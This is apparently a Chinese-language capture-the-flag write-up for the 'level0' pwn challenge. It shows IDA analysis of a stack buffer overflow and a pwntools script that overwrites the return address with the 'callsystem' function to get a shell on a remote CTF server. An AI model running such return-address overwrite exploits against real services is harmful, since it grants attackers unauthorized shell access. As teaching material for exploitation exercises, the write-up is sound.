writeup_level0_pwn

ida打开附件:

image-20220224153914432

image-20220224153937936

可以看到read函数把int读入数组,有溢出漏洞,然后找到程序中的危险函数:

image-20220224154528561

只要成功对此函数实现调用就可以通过sh命令行控制系统。

image-20220224154721048

查看数据区域,可以看到上面贴心的给出了解释,r和s代表了程序的返回地址和储存的寄存器值,我们只要通过缓冲区溢出覆盖程序的返回地址,将返回地址覆盖为我们的目标函数起始地址,即可执行该函数。

image-20220224155005913

起始地址锁定为596,直接脚本抄袭开始!

1
2
3
4
5
6
7
8
9
10
# coding=utf-8 

from pwn import * #导入 pwntools 中 pwn 包的所有内容
p = remote('111.198.29.45',33907) # 链接服务器远程交互
elf = ELF('./level0') # 以 ELF 文件格式读取 level0 文件
sysaddr = elf.symbols['callsystem'] # 获取 ELF 文件中 callsystem 的地址
# 先用 0x88 个无用字符覆盖 buf 和 push 的内容,再覆盖返回地址
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv() #接收输出 p.send(payload) # 发送 payload
p.interactive() # 反弹 shell 进行交互

太详细了,爱了。。。

image-20220224155638026

小跑一下,结果报错了。。。

image-20220224155803770

python3需要将字符串转化为二进制。

image-20220224160542356

pwn好复杂233